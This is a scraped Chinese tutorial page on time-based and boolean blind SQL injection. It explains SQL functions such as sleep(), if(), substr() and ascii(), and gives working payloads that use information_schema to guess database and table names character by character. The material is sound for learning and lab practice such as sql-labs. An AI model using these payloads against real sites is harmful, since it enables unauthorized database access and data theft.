SQL注入7

您所在的位置:网站首页 addslashes sql注入 SQL注入7

SQL注入7

#SQL注入7| 来源: 网络整理| 查看: 265

时间盲注:

知识储备:

sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(database(),1),database() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ascii(x)=100: 判断x的ascii值是否为100

一般不适用sleep的时候,数据库查询速度会很快,大约0.0几秒就可以。

我们可以只用sleep指定数据库查询时间。 时间盲注就是利用这个进行注入的。

if(a,b,c):可以理解在C语言程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c。

例如

?id=1' and if (length(database())=8,sleep(5),1) -- qwe

如果数据库名字长度等于8,就会在5秒钟之后再进行查询操作。

其他的几个也类似

例如:

?id=1' and if ((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- qwe布尔盲注:

Web的页面仅仅会返回True和False。(比如sql-labs第八题)那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

?id=1' and ascii(mid(database(),1,1))>115--+ id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+

使用ascii() 返回的True或False来判断我们猜的是否正确,一步步获得我们想要的信息



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3